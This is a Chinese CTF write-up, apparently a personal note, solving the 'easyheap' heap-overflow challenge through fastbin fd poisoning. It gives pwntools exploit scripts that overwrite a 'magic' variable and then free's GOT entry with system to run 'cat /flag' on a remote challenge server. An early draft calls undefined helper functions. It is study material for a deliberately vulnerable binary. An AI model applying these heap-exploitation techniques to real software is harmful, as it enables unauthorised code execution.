一道堆溢出,看起来跟2-2-2差不多,可以借鉴一下,应该也是UAF 先来看一下他给的 Pasted image 20260417084008.png main里面大部分都是好的,有一个部分如下:
if ( v3 == 4869 )
{
if ( magic <= (unsigned __int64)'\x13\x05' ) //\x13\x05就是4869
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t(); //这个函数会直接给flag
}
}
来写基本的函数:
def create(size,content):
r.sendlineafter(b"Your choice :",b'1')
r.sendlineafter(b"Size of Heap :",str(size)) #不行就把str删了
r.sendlineafter(b'Content of heap:',content)
def edit(index,size,content):
r.sendlineafter(b"Your choice :",b'2')
r.sendlineafter(b"index :",str(index))
r.sendlineafter(b"Size of Heap :",str(size))
r.sendlineafter(b'Content of heap:',content)
def delete(index):
r.sendlineafter(b"Your choice :",b'3')
r.sendlineafter(b"Index :",str(index))
def exit():
r.sendlineafter(b"Your choice :",b'4')
def cat_flag():
r.sendlineafter(b"Your choice :",b'4870')
结合2-2-2来看,先申请几个堆块,前面几个都是0x10,最后一个0x80.把1,2,free了。。。。后面去看2-2-2:wp 原本打算这么写的:
create(16,b'') #0
create(16,b'') #1
create(16,b'') #2
create(16,b'') #3
create(128,b'') #4
delete(1)
delete(2)
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0,len(payload),payload)
payload=p64(0)*3+p64(0x21)
fill(3,len(payload),payload)
create(16,b'')
create(16,b'')
payload=p64(0)*3+p64(0x91)
edit(3,len(payload),payload)
create(128,b'')
delete(4)
dump(2)
mainarena88=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
mainarena=mainarena88-88
malloc_hook=mainarena-0x10
libc=LibcSearcher('__malloc_hook',malloc_hook)
libcbase=malloc_hook-libc.dump('__malloc_hook')
create(96,b'')
delete(4)
payload=p64(malloc_hook-35)
edit(2,len(payload),payload)
create(96,b'')
create(96,b'')
system=libcbase+0x4526a
payload=p64(0)*2+p8(0)*3+p64(system)
edit(6,len(payload),payload)
create(1,b'')
Pasted image 20260417091658.png Pasted image 20260417092210.png 但是发现一个问题,他没给输出函数,没法让他把mainarena直接交出来 那就只能用他本身的设计的漏洞 一个 free chunk 被取走后,下一次 malloc 有可能返回它的 fd 指向的位置。 fd 控制的是“下一次分配到哪”, 不是“当前写入自动延伸到哪”。 只要把fd改到magic就结了。
magic = elf.symbols["magic"]
试着写了下面的脚本:
create(0x10,b'') #0
create(0x60,b'') #1
delete(1)
payload = p64(0)*3 + p64(0x71) + p64(magic-0X10)
edit(0, len(payload), payload)
create(0x60,b'')
payload = p64(0x1306)
create(0x30,payload)
Pasted image 20260417100722.png 说明magic已经写进去了 但是实际上不能写在整数地址,可能会有检查,所以搞一个错位地址 为什么一定是-16-3呢
- magic-16-3 读到的大致是 0x7f
- magic-16-4 读到的大致是 0x7fff 本质区别是:
- 从 0x6020b5 开始读时,只吃到 stdin 地址的高 3 个字节,结果是个很小的值
- 从 0x6020b4 开始读时,多吃进了一个 0xff,结果直接变成了 0x7fff 大概就是这样。 exp1:
from pwn import *
elf = ELF('./easyheap')
context(log_level='debug', arch='i386', os='linux')
r = remote('node5.buuoj.cn', 29649)
#r = process('./easyheap')
def dbg():
gdb.attach(r)
pause()
def create(size,content):
r.sendlineafter(b"Your choice :",b'1')
r.sendlineafter(b"Size of Heap :",str(size)) #不行就把str删了
r.sendlineafter(b'Content of heap:',content)
def edit(index, size, content):
r.sendlineafter(b"Your choice :", b"2")
r.sendlineafter(b"Index :", str(index).encode())
r.sendlineafter(b"Size of Heap :", str(size).encode())
r.sendafter(b"Content of heap : ", content)
def delete(index):
r.sendlineafter(b"Your choice :",b'3')
r.sendlineafter(b"Index :",str(index))
def exit():
r.sendlineafter(b"Your choice :",b'4')
def cat_flag():
r.sendlineafter(b"Your choice :",b'4869')
magic = elf.symbols["magic"]
#magic = 0x006020C0
#fakechunk = 0x6020AD
create(0x10,b'') #0
create(0x60,b'') #1
delete(1)
payload = p64(0)*3 + p64(0x71) + p64(magic-16-3)
edit(0, len(payload), payload)
create(0x60,b'')
payload = b"\x00" * 3 + p64(0x1306)
create(0x60, payload)
cat_flag()
r.interactive()
本来应该就这么结束的,但好像容器没搞好。所以还是要想办法getshell Pasted image 20260417103616.png 想办法改一个函数成system 比方说free codex通解 exp2:
from pwn import *
context.binary = elf = ELF('./easyheap')
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
io = remote('node5.buuoj.cn', 27663)
def add(size, content):
io.sendlineafter(b'Your choice :', b'1')
io.sendlineafter(b'Size of Heap : ', str(size).encode())
io.sendafter(b'Content of heap:', content)
def edit(index, size, content):
io.sendlineafter(b'Your choice :', b'2')
io.sendlineafter(b'Index :', str(index).encode())
io.sendlineafter(b'Size of Heap : ', str(size).encode())
io.sendafter(b'Content of heap : ', content)
def delete(index):
io.sendlineafter(b'Your choice :', b'3')
io.sendlineafter(b'Index :', str(index).encode())
add(0x60, b'a') # 0
add(0x60, b'a') # 1
add(0x60, b'a') # 2
delete(2)
payload = b'A' * 0x60 + p64(0) + p64(0x71) + p64(0x6020ad)
edit(1, len(payload), payload)
add(0x60, b'a') # 2
add(0x60, b'A' * 0x23 + p64(elf.got['free'])) # 3
edit(0, 8, p64(elf.plt['system']))
edit(1, len(b'cat /flag\x00'), b'cat /flag\x00')
delete(1)
io.interactive()
评论